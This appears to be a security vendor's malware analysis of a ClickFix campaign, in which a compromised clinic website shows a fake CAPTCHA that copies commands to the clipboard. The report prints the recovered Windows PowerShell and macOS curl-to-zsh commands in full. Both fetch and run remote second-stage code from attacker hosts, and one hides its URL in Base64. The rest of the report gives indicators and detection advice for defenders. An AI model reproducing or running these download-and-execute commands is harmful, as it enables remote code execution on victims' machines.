From a Hacked Legitimate Site to ClickFix

A compromised dental clinic website, yoursmileturkey[.]com, loads an obfuscated JavaScript payload from interseq[.]at and interseqf[.]com. The loader detects the visitor's operating system and shows a fake "I'm not a robot" check. That check is the attack. The page silently writes a command into the visitor's clipboard, then walks them through pasting it into the Windows Run dialog or the macOS Terminal. On Windows the command installs the legitimate Bun JavaScript runtime and uses it to fetch and evaluate a second stage in memory. On macOS it pipes a Base64-hidden URL straight into zsh.

This is ClickFix. The victim runs the malware themselves, which is what makes it effective.

About this analysis

PhishEye retrieved and decoded this specimen on 13 September 2026 using read-only HTTP requests and offline decoding. We fetched the two loader scripts and analysed their source. We did not execute the recovered JavaScript, did not run either shell command, did not contact the second-stage endpoints at copiose[.]org or lumen44[.]com, and did not render the fake verification overlay in a browser.

That last exclusion is deliberate and worth explaining, because it is the reason this report contains diagrams rather than screenshots of the overlay. The loader's whole purpose is to place an attacker-controlled command into the clipboard of whoever views it. Rendering the page to photograph it would leave a live curl | zsh command sitting in the analyst's clipboard, one careless paste away from execution. Screenshotting this particular family of malware is not a neutral act of observation, so we reconstructed the interface from its own source strings instead.

One limitation we cannot resolve from outside: yoursmileturkey[.]com returned HTTP 403 to our requests, served by Cloudflare's bot protection. We could not independently confirm the injected tags on the live page, so the compromise of that specific site is reported as supplied to us, not as something we observed. Everything described about the loader itself comes from source we retrieved directly.

The loader chain

Both loader hosts returned HTTP 200 with roughly 174 KB of JavaScript. The two files are near-identical and differ only in the tracking domain, which suggests a primary and a fallback rather than two campaigns.

The script opens by defining a victim token and a tracking URL, then a table of commands keyed by operating system:

var TOKEN = '3a723106a8cd40dce6893cabb402f98cbe38086e';
var TRACK_URL = 'https://interseq[.]at/test_proliv/api?t=' + TOKEN + '&track=1';
var COMMANDS = {"windows":"...","macos":"...","linux":"","winr":false,"wine":true};

The linux entry is empty, so Linux visitors get nothing. The wine flag being true suggests the operator cares about visitors running Windows software under Wine, which is an unusual amount of attention to a small population.

The clipboard is the delivery channel, not the target

It is easy to see a key named captcha_copied_ and conclude the script is stealing clipboard contents. The source says otherwise, and the direction matters for detection.

The loader defines two LocalStorage keys, captcha_executed_<TOKEN> and captcha_copied_<TOKEN>. Alongside them sits a copyText() helper that calls navigator.clipboard.writeText(), with a fallback that appends a one-pixel transparent textarea to the page, selects it, and calls document.execCommand('copy') before removing it. The script is writing, not reading.

What it writes is the operating-system-specific command. The interface then renders numbered instructions built from its own template, which we recovered verbatim:

Windows:  1. Press [Win + R]   2. Press [Ctrl + V]   3. Press [Enter]
macOS:    1. Open [Terminal]   2. Press [Ctrl + V]   3. Press [Enter]

Wrapped around those steps are strings like "Verify you are human by completing the action below", "Perform the following steps", "Use your keyboard in this order", and "Checking your browser before accessing". The overlay imitates a Cloudflare interstitial, which is the same visual language visitors are trained to click through without thinking.

So no cryptocurrency address is being swapped and no clipboard is being harvested. The clipboard is the transport that moves attacker code across the boundary the browser sandbox is supposed to hold. This matches the ClickFix pattern we documented in our fake CAPTCHA and EtherHiding analysis and in the Atomic Stealer campaign that impersonated DirBuster.

The Windows chain installs a real developer tool

The Windows command is a compact piece of living-off-the-land engineering:

powershell -ep b -c "[net.servicepointmanager]::securityprotocol=3072;
$b=$HOME+'\.bun\bin\bun.exe';
if(!(test-path $b)){irm https://bun.sh/install.ps1|iex};
& $b -e 'fetch(''https://copiose[.]org/test_proliv/b?o=08212ca582360631'').then(r=>r.text()).then(eval)'"

It sets the execution policy to bypass, forces TLS 1.2, then checks whether the Bun runtime is already present in the user profile. If it is not, the script downloads and runs Bun's genuine installer from bun.sh. Bun is a legitimate, signed, widely used JavaScript runtime, and nothing about installing it is inherently malicious.

That is the point. The attacker gets a fully functional scripting engine delivered by its real vendor, installed into the user profile where no administrator rights are required. The final stage then uses Bun to fetch remote text and pass it to eval(). No script file is written, no executable is dropped, and the network fetch comes from a binary with a legitimate reputation.

The macOS chain hides one string

The macOS command is shorter and relies on a single layer of obfuscation:

curl -s $(echo "aHR0cHM6Ly9sdW1lbjQ0LmNvbS9jdXJsLzRsZ2Uxcjg1eGY2by9henRqcHp0bHY4eHlubDNib3Jsdm9hOS5qc29u" | openssl base64 -d -A) | zsh

Decoding that string offline resolves to hxxps://lumen44[.]com/curl/4lge1r85xf6o/aztjpztlv8xynl3borlvoa9[.]json. The .json extension is cosmetic. The response is piped directly into zsh, so whatever the server returns is executed as shell script without ever touching the filesystem.

The Base64 wrapper exists to keep the destination out of plain-text scanners. It is worth noting that a simple string search of the loader for lumen44 returns nothing, while a search for copiose returns three hits. Any detection built only on plain-text domain matching would see the Windows infrastructure and miss the macOS infrastructure entirely.

Built for volume

Two details show this is tooling rather than a one-off.

The overlay ships with translations of "I'm not a robot" and its surrounding copy in more than forty languages, including German, French, Spanish, Portuguese, Italian, Dutch, Polish, Czech, Romanian, Turkish, Indonesian, Vietnamese, Tagalog, Swahili, Bengali, Uzbek and Welsh. The script reads navigator.languages and localises itself. Whoever built this expects traffic from everywhere, which fits a model where compromised sites are acquired in bulk rather than chosen.

The script also polls. POLL_MS is 4000 and POLL_MAX is 90, giving a six-minute window in which it repeatedly checks whether the victim has completed the steps. A Russian-language comment beside it reads ~6 мин вместо 30, or "~6 min instead of 30", recording a deliberate reduction from a previous half-hour timeout. A second Russian comment appears elsewhere in the file. These are developer notes left in shipped code, and they indicate a Russian-speaking author. They do not identify an actor, and we make no attribution beyond that observation.

Indicators

All hostile URLs are defanged. Roles differ, and a source-code reference is not the same as an observed request.

Indicator	Role and confidence
yoursmileturkey[.]com	Reported compromised host. Returned 403 to our requests; injection not independently confirmed.
interseq[.]at/test_proliv/api	Observed. Primary loader, HTTP 200, 174 KB of JavaScript.
interseqf[.]com/test_proliv/api	Observed. Near-identical fallback loader.
copiose[.]org/test_proliv/b?o=08212ca582360631	Windows stage two, read from source. Not contacted.
lumen44[.]com/curl/4lge1r85xf6o/...json	macOS stage two, recovered by offline Base64 decode. Not contacted.
bun.sh/install.ps1	Legitimate vendor installer, abused. Not malicious in itself.
captcha_executed_, captcha_copied_	LocalStorage key prefixes written by the loader.

What defenders can act on

Alert on the paste, not just the payload. The highest-fidelity Windows signal here is a powershell.exe process whose parent is explorer.exe, which is what a Win + R paste looks like. Combine that with -ep b or -ep bypass and an irm or iwr to an unfamiliar host. On macOS, look for curl piped into zsh or sh, particularly where the URL is produced by a command substitution rather than written literally.

Treat a new Bun install as an event worth seeing. Most estates have a small, known population of developer machines. A bun.exe appearing under %USERPROFILE%\.bun\bin on a finance or HR endpoint is not a developer decision. The same logic applies to Deno, Node and any other runtime that arrives without a package manager or an administrator behind it.

Search both stage-two domains, and decode before you search. Plain-text hunting across proxy logs will find copiose[.]org and miss lumen44[.]com, because the latter only exists in the loader as Base64. If you maintain regex-based detections over page source, include a rule for openssl base64 -d inside a command substitution.

For the site owner, assume server-side compromise. Injected loader tags of this kind usually come from a modified theme file, a compromised plugin, or a rogue administrator account. Search the entire web root rather than the homepage, rotate administrative, database and FTP credentials, and turn on file integrity monitoring before restoring. A cleaned homepage with an unrotated password is a site that will be reinfected.

Separate exposure from compromise when you triage. Loading the page is not infection. This chain requires the visitor to open a Run dialog or a Terminal, paste, and press Enter. When a user reports seeing a verification prompt, the question that resolves the incident is whether they followed the keyboard instructions. If they did, isolate the endpoint and treat it as executed code rather than a suspicious browse.

If lookalike domains or compromised pages are being used against your brand, PhishEye's takedown service handles the evidence and the registrar escalation.